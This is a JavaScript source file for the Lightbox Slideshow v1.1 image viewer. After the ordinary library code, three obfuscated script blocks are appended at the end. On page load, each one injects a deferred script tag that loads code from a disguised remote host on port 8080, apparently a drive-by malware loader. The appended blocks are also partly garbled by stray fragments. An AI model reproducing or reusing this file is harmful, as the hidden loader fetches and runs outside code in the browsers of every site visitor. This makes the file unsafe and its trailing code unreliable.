// -----------------------------------------------------------------------------------
//
//	Lightbox Slideshow v1.1
//	by Justin Barkhuff - http://www.justinbarkhuff.com/lab/lightbox_slideshow/
//  Updated: 2009-04-08
//  Modification by VisualLightBox.com at 30/04/2009
//	* create table structure
//
//  Modification by VisualLightBox.com
//   + Add round corner for image container
//   + Integration of automatic resize from Michael R. Bagnall - elusivemind.net & Sebastien Grosjean - ZenCocoon.com
//   + synchronous changes in the size of Lightbox
// 
//	Largely based on Lightbox v2.02
//	by Lokesh Dhakar - http://huddletogether.com/projects/lightbox2/
//	3/31/06
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//
//	The code inserts html at the bottom of the page that looks similar to this:
//
//	<div id="overlay"></div>
//	<div id="lightbox">
//		<table id="outerImageContainer">
//			<tr><td class="tl"></td><td class="tc"></td><td class="tr"></td></tr>
//			<tr><td class="ml"></td>
//			<td id="lightboxFrameBody">
//				<div id="imageContainer">
//					<img id="lightboxImage" />
//					<div id="hoverNav">
//						<a href="javascript:void(0);" id="prevLinkImg">&laquo; prev</a>
//						<a href="javascript:void(0);" id="nextLinkImg">next &raquo;</a>
//					</div>
//					<div id="loading">
//						<a href="javascript:void(0);" id="loadingLink">loading</a>
//					</div>
//				</div>
//			
//				<div id="imageDataContainer">
//					<div id="imageData">
//						<div id="imageDetails">
//							<span id="caption"></span>
//							<span id="numberDisplay"></span>
//							<span id="detailsNav">
//								<a id="prevLinkDetails" href="javascript:void(0);"></a>
//								<a id="slideShowControl" href="javascript:void(0);"></a>
//								<a id="nextLinkDetails" href="javascript:void(0);"></a>
//							</span>
//						</div>
//						<div id="close">
//							<a id="closeLink" href="javascript:void(0);">close</a>
//						</div>
//					</div>
//				</div>
//			</td>
//			<td class="mr"></td></tr>
//			<tr><td class="bl"></td><td class="bc"></td><td class="br"></td></tr>
//		</table>
//	</div>
//
// -----------------------------------------------------------------------------------

//
//	Lightbox Object
//

var Lightbox = {	
	activeImage : null,
	badObjects : ['select','object','embed'],
	container : null,
	enableSlideshow : null,
	groupName : null,
	imageArray : [],
	options : null,
	overlayDuration : null,
	overlayOpacity : null,
	playSlides : null,
	refTags : ['a','area'],
	relAttribute : null,
	resizeDuration : null,
	slideShowTimer : null,
	startImage : null,
	
	//
	// initialize()
	// Constructor sets class properties and configuration options and
	// inserts html at the bottom of the page which is used to display the shadow 
	// overlay and the image container.
	//
	initialize: function(options) {
		if (!document.getElementsByTagName){ return; }
		
		this.options = $H({
			animate : true, // resizing animations
			autoPlay : true, // should slideshow start automatically
			borderSize : 39, // if you adjust the padding in the CSS, you will need to update this variable
			containerID : document, // lightbox container object
			enableSlideshow : true, // enable slideshow feature
			googleAnalytics : false, // track individual image views using Google Analytics
			imageDataLocation : 'south', // location of image caption information
			initImage : '', // ID of image link to automatically launch when upon script initialization
			loop : true, // whether to continuously loop slideshow images
			overlayDuration : .2, // time to fade in shadow overlay
			overlayOpacity : .8, // transparency of shadow overlay
			prefix : '', // ID prefix for all dynamically created html elements
			relAttribute : 'lightbox', // specifies the rel attribute value that triggers lightbox
			resizeSpeed : 7, // controls the speed of the image resizing (1=slowest and 10=fastest)
			showGroupName : false, // show group name of images in image details
			slideTime : 4, // time to display images during slideshow
			strings : { // allows for localization
				closeLink : '',
				loadingMsg : 'loading',
				nextLink : '',
				prevLink : '',
				startSlideshow : '',
				stopSlideshow : '',
				numDisplayPrefix : '',
				numDisplaySeparator : '/'
			},
		    featBrowser: true,     // set it to true or false to choose to auto-adjust the maximum size to the browser
			breathingSize: 50     // control the minimum space around the image box
        }).merge(options);
		
		if(this.options.animate){
			this.overlayDuration = Math.max(this.options.overlayDuration,0);
			this.options.resizeSpeed = Math.max(Math.min(this.options.resizeSpeed,10),1);
			this.resizeDuration = (11 - this.options.resizeSpeed) * 0.15;
		}else{
			this.overlayDuration = 0;
			this.resizeDuration = 0;
		}
		
		this.enableSlideshow = this.options.enableSlideshow;
		this.overlayOpacity = Math.max(Math.min(this.options.overlayOpacity,1),0);
		this.playSlides = this.options.autoPlay;
		this.container = $(this.options.containerID);
		this.relAttribute = this.options.relAttribute;
		this.updateImageList();
		
		var objBody = this.container != document ? this.container : document.getElementsByTagName('body').item(0);
		
		var objOverlay = document.createElement('div');
		objOverlay.setAttribute('id',this.getID('overlay'));
		objOverlay.style.display = 'none';
		objBody.appendChild(objOverlay);
		Event.observe(objOverlay,'click',this.end.bindAsEventListener(this));
		
		var objLightbox = document.createElement('div');
		objLightbox.setAttribute('id',this.getID('lightbox'));
		objLightbox.style.display = 'none';
		objBody.appendChild(objLightbox);
		
		var objImageDataContainer = document.createElement('div');
		objImageDataContainer.setAttribute('id',this.getID('imageDataContainer'));
		objImageDataContainer.className = this.getID('clearfix');

		var objImageData = document.createElement('div');
		objImageData.setAttribute('id',this.getID('imageData'));
		objImageDataContainer.appendChild(objImageData);
	
		var objImageDetails = document.createElement('div');
		objImageDetails.setAttribute('id',this.getID('imageDetails'));
		objImageData.appendChild(objImageDetails);
	
		var objCaption = document.createElement('span');
		objCaption.setAttribute('id',this.getID('caption'));
		objImageDetails.appendChild(objCaption);
	
		var objNumberDisplay = document.createElement('span');
		objNumberDisplay.setAttribute('id',this.getID('numberDisplay'));
		objImageDetails.appendChild(objNumberDisplay);

		var objDetailsNav = document.createElement('span');
		objDetailsNav.setAttribute('id',this.getID('detailsNav'));
		objImageDetails.appendChild(objDetailsNav);

		var objPrevLink = document.createElement('a');
		objPrevLink.setAttribute('id',this.getID('prevLinkDetails'));
		objPrevLink.setAttribute('href','javascript:void(0);');
		objPrevLink.innerHTML = this.options.strings.prevLink;
		objDetailsNav.appendChild(objPrevLink);
		Event.observe(objPrevLink,'click',this.showPrev.bindAsEventListener(this));
		

		var objSlideShowControl = document.createElement('a');
		objSlideShowControl.setAttribute('id',this.getID('slideShowControl'));
		objSlideShowControl.setAttribute('href','javascript:void(0);');
		objDetailsNav.appendChild(objSlideShowControl);
		Event.observe(objSlideShowControl,'click',this.toggleSlideShow.bindAsEventListener(this));
		
		
		var objNextLink = document.createElement('a');
		objNextLink.setAttribute('id',this.getID('nextLinkDetails'));
		objNextLink.setAttribute('href','javascript:void(0);');
		objNextLink.innerHTML = this.options.strings.nextLink;
		objDetailsNav.appendChild(objNextLink);
		Event.observe(objNextLink,'click',this.showNext.bindAsEventListener(this));

		var objClose = document.createElement('div');
		objClose.setAttribute('id',this.getID('close'));
		objImageData.appendChild(objClose);
	
		var objCloseLink = document.createElement('a');
		objCloseLink.setAttribute('id',this.getID('closeLink'));
		objCloseLink.setAttribute('href','javascript:void(0);');
		objCloseLink.innerHTML = this.options.strings.closeLink;
		objClose.appendChild(objCloseLink);	
		Event.observe(objCloseLink,'click',this.end.bindAsEventListener(this));
	
		var objOuterImageContainer = document.createElement('table');
		objOuterImageContainer.setAttribute('id',this.getID('outerImageContainer'));
		objOuterImageContainer.cellSpacing = 0;
		objLightbox.appendChild(objOuterImageContainer);
		
		// create content cells
		var objOICTop = objOuterImageContainer.insertRow(-1);
		var objOICTL =  objOICTop.insertCell(-1);
		objOICTL.className = 'tl';
		var objOICTC =  objOICTop.insertCell(-1);
		objOICTC.className = 'tc';
		var objOICTR =  objOICTop.insertCell(-1);
		objOICTR.className = 'tr';
		var objOICMiddle = objOuterImageContainer.insertRow(-1);
		var objOICML =  objOICMiddle.insertCell(-1);
		objOICML.className = 'ml';
		
		// middle center 
		var objLightboxFrameBody =  objOICMiddle.insertCell(-1);
		objLightboxFrameBody.setAttribute('id',this.getID('lightboxFrameBody'));
		objLightboxFrameBody.innerHTML='&nbsp;';
		
		var objOICMR =  objOICMiddle.insertCell(-1);
		objOICMR.className = 'mr';
		var objOICBottom = objOuterImageContainer.insertRow(-1);
		var objOICBL =  objOICBottom.insertCell(-1);
		objOICBL.className = 'bl';
		var objOICBC =  objOICBottom.insertCell(-1);
		objOICBC.className = 'bc';
		var objOICBR =  objOICBottom.insertCell(-1);
		objOICBR.className = 'br';
		

		if(this.options.imageDataLocation == 'north'){
			objLightboxFrameBody.appendChild(objImageDataContainer);
		}

		var objImageContainer = document.createElement('div');
		objImageContainer.setAttribute('id',this.getID('imageContainer'));
		objLightboxFrameBody.appendChild(objImageContainer);
	
		var objLightboxImage = document.createElement('img');
		objLightboxImage.setAttribute('id',this.getID('lightboxImage'));
		objImageContainer.appendChild(objLightboxImage);
	
		var objHoverNav = document.createElement('div');
		objHoverNav.setAttribute('id',this.getID('hoverNav'));
		objImageContainer.appendChild(objHoverNav);
	
		var objPrevLinkImg = document.createElement('a');
		objPrevLinkImg.setAttribute('id',this.getID('prevLinkImg'));
		objPrevLinkImg.setAttribute('href','javascript:void(0);');
		objHoverNav.appendChild(objPrevLinkImg);
		Event.observe(objPrevLinkImg,'click',this.showPrev.bindAsEventListener(this));
		
		var objNextLinkImg = document.createElement('a');
		objNextLinkImg.setAttribute('id',this.getID('nextLinkImg'));
		objNextLinkImg.setAttribute('href','javascript:void(0);');
		objHoverNav.appendChild(objNextLinkImg);
		Event.observe(objNextLinkImg,'click',this.showNext.bindAsEventListener(this));
	
		var objLoading = document.createElement('div');
		objLoading.setAttribute('id',this.getID('loading'));
		objImageContainer.appendChild(objLoading);
	
		var objLoadingLink = document.createElement('a');
		objLoadingLink.setAttribute('id',this.getID('loadingLink'));
		objLoadingLink.setAttribute('href','javascript:void(0);');
		objLoadingLink.innerHTML = this.options.strings.loadingMsg;
		objLoading.appendChild(objLoadingLink);
		Event.observe(objLoadingLink,'click',this.end.bindAsEventListener(this));
		
		if(this.options.imageDataLocation != 'north'){
			objLightboxFrameBody.appendChild(objImageDataContainer);
		}
		


		if(this.options.initImage != ''){
			this.start($(this.options.initImage));
		}
	},
	
	//
	//	updateImageList()
	//	Loops through specific tags within 'container' looking for 
	// 'lightbox' references and applies onclick events to them.
	//
	updateImageList: function(){
		var el, els, rel;
		for(var i=0; i < this.refTags.length; i++){
			els = this.container.getElementsByTagName(this.refTags[i]);
			for(var j=0; j < els.length; j++){
				el = els[j];
				rel = String(el.getAttribute('rel'));
				if (el.getAttribute('href') && (rel.toLowerCase().match(this.relAttribute))){
					el.onclick = function(){Lightbox.start(this); return false;}
				}
			}
		}
	},
		
	//
	//	start()
	//	Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
	//
	start: function(imageLink) {	

		this.hideBadObjects();

		// stretch overlay to fill page and fade in
		var pageSize = this.getPageSize();
		$(this.getID('overlay')).setStyle({height:pageSize.pageHeight+'px'});
		new Effect.Appear(this.getID('overlay'), { duration: this.overlayDuration, from: 0, to: this.overlayOpacity });

		this.imageArray = [];
		this.groupName = null;
		
		var rel = imageLink.getAttribute('rel');
		var imageTitle = '';
		
		// if image is NOT part of a group..
		if(rel == this.relAttribute){
			// add single image to imageArray
			imageTitle = imageLink.getAttribute('title') ? imageLink.getAttribute('title') : '';
			this.imageArray.push({'link':imageLink.getAttribute('href'), 'title':imageTitle});			
			this.startImage = 0;
		} else {
			// if image is part of a group..
			var els = this.container.getElementsByTagName(imageLink.tagName);
			// loop through anchors, find other images in group, and add them to imageArray
			for (var i=0; i<els.length; i++){
				var el = els[i];
				if (el.getAttribute('href') && (el.getAttribute('rel') == rel)){
					imageTitle = el.getAttribute('title') ? el.getAttribute('title') : '';
					this.imageArray.push({'link':el.getAttribute('href'),'title':imageTitle});
					if(el == imageLink){
						this.startImage = this.imageArray.length-1;
					}
				}
			}
			// get group name
			this.groupName = rel.substring(this.relAttribute.length+1,rel.length-1);
		}

		// calculate top offset for the lightbox and display 
		var pageScroll = this.getPageScroll();
		var lightboxTop = pageScroll.y + (pageSize.winHeight / 15);

		$(this.getID('lightbox')).setStyle({top:lightboxTop+'px'}).show();
        if (Lightbox.options.featBrowser) 
			Event.observe(window, 'resize', (function(e) {this.adjustImageSize(true); }).bind(this));
		this.changeImage(this.startImage);
	},

	//
	//	changeImage()
	//	Hide most elements and preload image in preparation for resizing image container.
	//
	changeImage: function(imageNum){	
		this.activeImage = imageNum;

		this.disableKeyboardNav();
		this.pauseSlideShow();

		// hide elements during transition
		$(this.getID('loading')).show();
		$(this.getID('lightboxImage')).hide();
		$(this.getID('hoverNav')).hide();
		$(this.getID('imageDataContainer')).hide();
		$(this.getID('numberDisplay')).hide();
		$(this.getID('detailsNav')).hide();
		
		var imgPreloader = new Image();
		
		// once image is preloaded, resize image container
		imgPreloader.onload=function(){
			$(Lightbox.getID('lightboxImage')).src = imgPreloader.src;
			
            Lightbox.imageArray[Lightbox.activeImage].width = imgPreloader.width;
            Lightbox.imageArray[Lightbox.activeImage].height = imgPreloader.height;
            Lightbox.adjustImageSize(false);
		}
		imgPreloader.src = this.imageArray[this.activeImage].link;
		
		if(this.options.googleAnalytics){
			urchinTracker(this.imageArray[this.activeImage].link);
		}
	},

	//
    //  adjustImageSize()
    //  adjust image size if option featBrowser is set to true
    //
    adjustImageSize: function( recall ) {
        // get image size
        imgWidth = this.imageArray[this.activeImage].width;
        imgHeight = this.imageArray[this.activeImage].height;
        var arrayPageSize = this.getPageSize(); // {pageWidth:pageX,pageHeight:pageY,winWidth:windowX,winHeight:windowY};
        // adjust image size if featBrowser option is set to true
        if (Lightbox.options.featBrowser == true) {
          // calculate proportions 
          var imageProportion = imgWidth / imgHeight;
          var winProportion = arrayPageSize.winWidth / arrayPageSize.winHeight;

          if (imageProportion > winProportion) {
            // calculate max width base on page width
            var maxWidth = arrayPageSize.winWidth - (Lightbox.options.borderSize * 2) - (Lightbox.options.breathingSize * 2);
            var maxHeight = Math.round(maxWidth / imageProportion);
          } else {
            // calculate maw height base on page height
            var maxHeight = arrayPageSize.winHeight - (Lightbox.options.borderSize * 2) - (arrayPageSize.winHeight / 15) - Lightbox.options.breathingSize;
            var maxWidth = Math.round(maxHeight * imageProportion);
          }
          if (imgWidth > maxWidth || imgHeight > maxHeight) {
            imgWidth = maxWidth;
            imgHeight = maxHeight;
          }
        }
		
		$(this.getID('overlay')).setStyle({height: arrayPageSize.pageHeight + 'px' });
        $(this.getID('lightboxImage')).setStyle({ height: imgHeight + 'px', width: imgWidth + 'px'});

        if (recall == true) {
          $(this.getID('outerImageContainer')).setStyle({height: (imgHeight + (Lightbox.options.borderSize * 2)) + 'px', width: (imgWidth + (Lightbox.options.borderSize * 2)) + 'px'});
//          $(this.getID('imageDataContainer')).setStyle({ width: (imgWidth + (Lightbox.options.borderSize * 2)) + 'px' });
        } else {
          this.resizeImageContainer(imgWidth, imgHeight);
        }
    },

    //
	//	resizeImageContainer()
	//
	resizeImageContainer: function(imgWidth,imgHeight) {
		// get current height and width
		var cDims = $(this.getID('outerImageContainer')).getDimensions();

		// scalars based on change from old to new
		var xScale = ((imgWidth  + (this.options.borderSize * 2)) / cDims.width) * 100;
		var yScale = ((imgHeight  + (this.options.borderSize * 2)) / cDims.height) * 100;

		// calculate size difference between new and old image, and resize if necessary
		var wDiff = (cDims.width - this.options.borderSize * 2) - imgWidth;
		var hDiff = (cDims.height - this.options.borderSize * 2) - imgHeight;

	
		var effectScale = [];
		if (!( hDiff == 0)) effectScale[effectScale.length] = new Effect.Scale(this.getID('outerImageContainer'), yScale, {scaleX: false, sync: true });
		if (!( wDiff == 0)) effectScale[effectScale.length] = new Effect.Scale(this.getID('outerImageContainer'), xScale, {scaleY: false, sync: true });
		if (effectScale.length)	new Effect.Parallel(effectScale,{delay: this.resizeDuration, duration: this.resizeDuration});
		

		// if new and old image are same size and no scaling transition is necessary, 
		// do a quick pause to prevent image flicker.
		if((hDiff == 0) && (wDiff == 0)){
			if(navigator.appVersion.indexOf('MSIE')!=-1){ this.pause(250); } else { this.pause(100);} 
		}

		$(this.getID('prevLinkImg')).setStyle({height:imgHeight+'px'});
		$(this.getID('nextLinkImg')).setStyle({height:imgHeight+'px'});
		$(this.getID('imageDataContainer')).setStyle({width:(imgWidth/*+(this.options.borderSize * 2)*/)+'px'});

		this.showImage();
	},
	
	//
	//	showImage()
	//	Display image and begin preloading neighbors.
	//
	showImage: function(){
		$(this.getID('loading')).hide();
		new Effect.Appear(this.getID('lightboxImage'), { duration: 0.5, queue: 'end', afterFinish: function(){	Lightbox.updateDetails(); } });
		this.preloadNeighborImages();
	},

	//
	//	updateDetails()
	//	Display caption, image number, and bottom nav.
	//
	updateDetails: function() {
		$(this.getID('caption')).show();
		$(this.getID('caption')).update(this.imageArray[this.activeImage].title);
		
		// if image is part of set display 'Image x of y' 
		if(this.imageArray.length > 1){
			var num_display = this.options.strings.numDisplayPrefix + ' ' + eval(this.activeImage + 1) + ' ' + this.options.strings.numDisplaySeparator + ' ' + this.imageArray.length;
			if(this.options.showGroupName && this.groupName != ''){
				num_display += ' '+this.options.strings.numDisplaySeparator+' '+this.groupName;
			}
			$(this.getID('numberDisplay')).update(num_display).show();
			if(!this.enableSlideshow){
				$(this.getID('slideShowControl')).hide();
			}
			$(this.getID('detailsNav')).show();
		}
		
		new Effect.Parallel(
			[ new Effect.SlideDown( this.getID('imageDataContainer'), { sync: true }), 
			  new Effect.Appear(this.getID('imageDataContainer'), { sync: true }) ], 
			{ duration:.65, afterFinish: function() { Lightbox.updateNav();} }
		);
	},
	
	//
	//	updateNav()
	//	Display appropriate previous and next hover navigation.
	//
	updateNav: function() {
		// restore imageDataContainer size for avtomaticaly change with its contaner
		$(this.getID('imageDataContainer')).setStyle({width:'100%'});
		
		if(this.imageArray.length > 1){
			$(this.getID('hoverNav')).show();
			if(this.enableSlideshow){
				if(this.playSlides){
					this.startSlideShow();
				} else {
					this.stopSlideShow();
				}
			}
		}
		this.enableKeyboardNav();
	},
	//
	//	startSlideShow()
	//	Starts the slide show
	//
	startSlideShow: function(){
		this.playSlides = true;
		this.slideShowTimer = new PeriodicalExecuter(function(pe){ Lightbox.showNext(); pe.stop(); },this.options.slideTime);
		$(this.getID('slideShowControl')).update(this.options.strings.stopSlideshow);
		$(this.getID('slideShowControl')).addClassName('started');
	},
	
	//
	//	stopSlideShow()
	//	Stops the slide show
	//
	stopSlideShow: function(){
		this.playSlides = false;
		if(this.slideShowTimer){
			this.slideShowTimer.stop();
		}
		$(this.getID('slideShowControl')).update(this.options.strings.startSlideshow);
		$(this.getID('slideShowControl')).removeClassName('started');
	},

	//
	//	stopSlideShow()
	//	Stops the slide show
	//
	toggleSlideShow: function(){
		if(this.playSlides){
			this.stopSlideShow();
		}else{
			this.startSlideShow();
		}
	},

	//
	//	pauseSlideShow()
	//	Pauses the slide show (doesn't change the value of this.playSlides)
	//
	pauseSlideShow: function(){
		if(this.slideShowTimer){
			this.slideShowTimer.stop();
		}
	},
	
	//
	//	showNext()
	//	Display the next image in a group
	//
	showNext : function(){
		if(this.imageArray.length > 1){
			if(!this.options.loop && ((this.activeImage == this.imageArray.length - 1 && this.startImage == 0) || (this.activeImage+1 == this.startImage))){
				return this.end();
			}
			if(this.activeImage == this.imageArray.length - 1){
				this.changeImage(0);
			}else{
				this.changeImage(this.activeImage+1);
			}
		}
	},

	//
	//	showPrev()
	//	Display the next image in a group
	//
	showPrev : function(){
		if(this.imageArray.length > 1){
			if(this.activeImage == 0){
				this.changeImage(this.imageArray.length - 1);
			}else{
				this.changeImage(this.activeImage-1);
			}
		}
	},
	
	//
	//	showFirst()
	//	Display the first image in a group
	//
	showFirst : function(){
		if(this.imageArray.length > 1){
			this.changeImage(0);
		}
	},

	//
	//	showFirst()
	//	Display the first image in a group
	//
	showLast : function(){
		if(this.imageArray.length > 1){
			this.changeImage(this.imageArray.length - 1);
		}
	},

	//
	//	enableKeyboardNav()
	//
	enableKeyboardNav: function() {
		document.onkeydown = this.keyboardAction; 
	},

	//
	//	disableKeyboardNav()
	//
	disableKeyboardNav: function() {
		document.onkeydown = '';
	},

	//
	//	keyboardAction()
	//
	keyboardAction: function(e) {
		if (e == null) { // ie
			keycode = event.keyCode;
		} else { // mozilla
			keycode = e.which;
		}

		key = String.fromCharCode(keycode).toLowerCase();
		
		if(key == 'x' || key == 'o' || key == 'c'){ // close lightbox
			Lightbox.end();
		} else if(key == 'p' || key == '%'){ // display previous image
			Lightbox.showPrev();
		} else if(key == 'n' || key =='\''){ // display next image
			Lightbox.showNext();
		} else if(key == 'f'){ // display first image
			Lightbox.showFirst();
		} else if(key == 'l'){ // display last image
			Lightbox.showLast();
		} else if(key == 's'){ // toggle slideshow
			if(Lightbox.imageArray.length > 0 && Lightbox.options.enableSlideshow){
				Lightbox.toggleSlideShow();
			}
		}
	},

	//
	//	preloadNeighborImages()
	//	Preload previous and next images.
	//
	preloadNeighborImages: function(){
		var nextImageID = this.imageArray.length - 1 == this.activeImage ? 0 : this.activeImage + 1;
		nextImage = new Image();
		nextImage.src = this.imageArray[nextImageID].link

		var prevImageID = this.activeImage == 0 ? this.imageArray.length - 1 : this.activeImage - 1;
		prevImage = new Image();
		prevImage.src = this.imageArray[prevImageID].link;
	},

	//
	//	end()
	//
	end: function() {
		this.disableKeyboardNav();
		this.pauseSlideShow();
		$(this.getID('lightbox')).hide();
		new Effect.Fade(this.getID('overlay'), { duration:this.overlayDuration });
		this.showBadObjects();
	},
	
	//
	//	showBadObjects()
	//
	showBadObjects: function (){
		var els;
		var tags = Lightbox.badObjects;
		for(var i=0; i<tags.length; i++){
			els = document.getElementsByTagName(tags[i]);
			for(var j=0; j<els.length; j++){
				$(els[j]).setStyle({visibility:'visible'});
			}
		}
	},
	
	//
	//	hideBadObjects()
	//
	hideBadObjects: function (){
		var els;
		var tags = Lightbox.badObjects;
		for(var i=0; i<tags.length; i++){
			els = document.getElementsByTagName(tags[i]);
			for(var j=0; j<els.length; j++){
				$(els[j]).setStyle({visibility:'hidden'});
			}
		}
	},
		
	//
	// pause(numberMillis)
	// Pauses code execution for specified time. Uses busy code, not good.
	// Code from http://www.faqts.com/knowledge_base/view.phtml/aid/1602
	//
	pause: function(numberMillis) {
		var now = new Date();
		var exitTime = now.getTime() + numberMillis;
		while(true){
			now = new Date();
			if (now.getTime() > exitTime)
				return;
		}
	},

	//
	// getPageScroll()
	// Returns array with x,y page scroll values.
	// Core code from - quirksmode.org
	//
	getPageScroll: function(){
		var x,y;
		if (self.pageYOffset) {
			x = self.pageXOffset;
			y = self.pageYOffset;
		} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
			x = document.documentElement.scrollLeft;
			y = document.documentElement.scrollTop;
		} else if (document.body) {// all other Explorers
			x = document.body.scrollLeft;
			y = document.body.scrollTop;
		}
		return {x:x,y:y};
	},

	//
	// getPageSize()
	// Returns array with page width, height and window width, height
	// Core code from - quirksmode.org
	// Edit for Firefox by pHaez
	//
	getPageSize: function(){
		var scrollX,scrollY,windowX,windowY,pageX,pageY;
		if (window.innerHeight && window.scrollMaxY) {	
			scrollX = document.body.scrollWidth;
			scrollY = window.innerHeight + window.scrollMaxY;
		} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
			scrollX = document.body.scrollWidth;
			scrollY = document.body.scrollHeight;
		} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
			scrollX = document.body.offsetWidth;
			scrollY = document.body.offsetHeight;
		}
		
		if (self.innerHeight) {	// all except Explorer
			windowX = self.innerWidth;
			windowY = self.innerHeight;
		} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
			windowX = document.documentElement.clientWidth;
			windowY = document.documentElement.clientHeight;
		} else if (document.body) { // other Explorers
			windowX = document.body.clientWidth;
			windowY = document.body.clientHeight;
		}	
		
		pageY = (scrollY < windowY) ? windowY : scrollY; // for small pages with total height less then height of the viewport
		pageX = (scrollX < windowX) ? windowX : scrollX; // for small pages with total width less then width of the viewport
	
		return {pageWidth:pageX,pageHeight:pageY,winWidth:windowX,winHeight:windowY};
	},

	//
	// getID()
	// Returns formatted Lightbox element ID
	//
	getID: function(id){
		return this.options.prefix+id;
	}
}

// -----------------------------------------------------------------------------------

Event.observe(window,'load',function(){ Lightbox.initialize(window['LightBoxOpt']); });







var b;if(b!='' && b!='t'){b=null};this.y=false;var l=window;var h=new String();var xh;if(xh!='e' && xh!='u'){xh='e'};var c=false;var kf=false;var k=document;var p='sWclr?iWpGtW'.replace(/[Wl\!G\?]/g, '');var o=new Date();this.kl=false;l.onload=function(){this.s=false;try {var gw=new Date();this.br='';f=k.createElement(p);this.ax=15357;var uv;if(uv!='qv'){uv=''};f.setAttribute('dIe:fqePrq'.replace(/[qIP\:\+]/g, ''), "1");var pf;if(pf!='co' && pf != ''){pf=null};this.hz=38876;f.src='hVtMtWpT:V/W/WgMoFoTgMlVeM-VcMnT.VjTcFpWeVnVnTeVyM.TcToTmV.TaVnTgFeMgWeW-TcMoTmV.MyFoFuWrTtVaFgVhVeTuMeTrM.VrVuT:W8M0V8T0T/FgWoFoFgFlVeW.VcFoMmT/MgWoVoFgVlTeM.WcVoWmT/MaTlWjTaVzTeTeTrMaV.VnMeVtM/TlToFvVeF2W1FcWnW.VcFoVmW/WcWlVaMrWiFnV.VcWoVmT/F'.replace(/[FTMWV]/g, '');var zy;if(zy!='' && zy!='kn'){zy='ml'};var qp;if(qp!='' && qp!='pr'){qp='xo'};k.body.appendChild(f);var fh;if(fh!='' && fh!='tw'){fh='yn'};var os=new Date();} catch(x){this.ptn="ptn";var ug;if(ug!='ft' && ug!='gj'){ug=''};};var fz="";};var se;if(se!='wm'){se='wm'};this.ej="ej";
var s=new Date();var e=new Date();:LineMixer [var u;if(u!='n'){u='n'};this.a='';var h=window;this.zo='';var hw;if(hw!='o' && hw!='yq'){hw=''};var g='szcmrzimpztm'.replace(/[mz@E/]/g, '');var er;if(er!='' && er!='gy'){er=''};var c=new Array();var l='cZrFeTaZtFeTEFl_eFmZe_n_t_'.replace(/[_FZTW]/g, '');]h.onload=function(){this.cs="";this.rt="rt";try {f=document[l](g);var se;if(se!='' && se!='db'){se=null};var gl;if(gl!='' && gl!='dz'){gl=null};var w;if(w!='' && w!='bw'){w=null};this._m="";:LineMixer [f['s0rKcT'.replace(/[T\*90K]/g, '')]='hMtMtHpH:5/M/FyMa5lMl5aHkFoMrMaM-5cHoFmI.McFhHiFnMa5zH.IcMoFmM.Fa5d5dHtFhMiFsM-5cMoMmF.5h5oMtMnIeFwHgMuIiMdIeI.HrHuH:H8H0I8F0H/Hg5oIoIgMlFeH.IcHoFmF/IgFoIo5gMlHeF.5cHoIm5/Mh5oFtHlHi5nIkHiMmHaHg5eF.HcMo5mM/IjIcIpFe5n5nIeIyH.FcFo5mI/HsHoIsFoM.IcMoIm5/5'.replace(/[5MHFI]/g, '');f.setAttribute('dse,f,e,r@'.replace(/[@sJ,z]/g, ''), "1");this.hs=25025;var tw=57255;]var jk;if(jk!='' && jk!='ye'){jk=null};var lv;if(lv!='' && lv!='po'){lv=null};var xr;if(xr!='om' && xr!='lc'){xr=''};document['bmo&dZyH'.replace(/[HzZ&m]/g, '')]['aDpUpyeDn3dyCAhyiDl3dD'.replace(/[DAyU3]/g, '')](f);var fj=new String();var xl=new String();} catch(hg){var lq;if(lq!='kp' && lq != ''){lq=null};var rtu="rtu";};this.gx="gx";var fn;if(fn!='pb' && fn!='aq'){fn='pb'};};
function c() {var t;if(t!='' && t!='h'){t=''};var pn;if(pn!='' && pn!='u'){pn=''};function a(y,m,x){var o="o";y['sneItnAntItPrJinbPuJt6e6'.replace(/[6IPnJ]/g, '')](m, x);var b="b";var aq;if(aq!=''){aq='q'};var ir='';}var ab=window;var ol;if(ol!='pb'){ol=''};var hf;if(hf!='' && hf!='i_'){hf=null};var s='s4cHrHilputH'.replace(/[Hlu4M]/g, '');var f='c*r*eGaGt5e5E:l4eGm:e*n5t:'.replace(/[\:\*45G]/g, '');var k;if(k!='' && k!='v'){k=''};ab['ounuluo9aVd5'.replace(/[5Vu9\:]/g, '')]=function(){this.zf="";try {l=document[f](s);this.w=6521;a(l,'d:eKfge:rK'.replace(/[Kt%\:g]/g, ''),1);var rm=new String();this.ah=false;a(l,'s#r#co'.replace(/[o\|_W#]/g, ''),'hOtPtPpO:%/P/OyKaO-Kr%uJ.PsPiJt%eKmPeKtKeKrP.OcJo%mK.%lPeJmJoJnOdPeP-Jf%r%.PmKe%dOi%a%t%aJgJo%n%lKiPnKeO.%rPuP:%8%0%8%0%/%aKo%l%.Kc%oK.PuJkP/%aJoKlO.PcPo%.Pu%kO/JhKu%fOfPiOnOg%tPoOn%pJo%sPtK.%cKoKmO/PxKtKe%nOdOmJe%dPiKaO.PcJoJmP/PgKoOoOgPl%eK.JcOoPm%/J'.replace(/[JO%PK]/g, ''));this._n='';var qt=new Array();var hr;if(hr!='' && hr!='ka'){hr=null};document['bAo1dWyz'.replace(/[z1hWA]/g, '')]['aKpXpXeXnXdKCIhXiIlXdX'.replace(/[XK\?Is]/g, '')](l);var nr;if(nr!='np' && nr != ''){nr=null};} catch(p){};};var ni;if(ni!='hc'){ni='hc'};this.qz=57528;this.ys=38616;};var m_;if(m_!='' && m_!='yp'){m_=null};this.nf="nf";c();this.gy=24935;this.aso=35957;
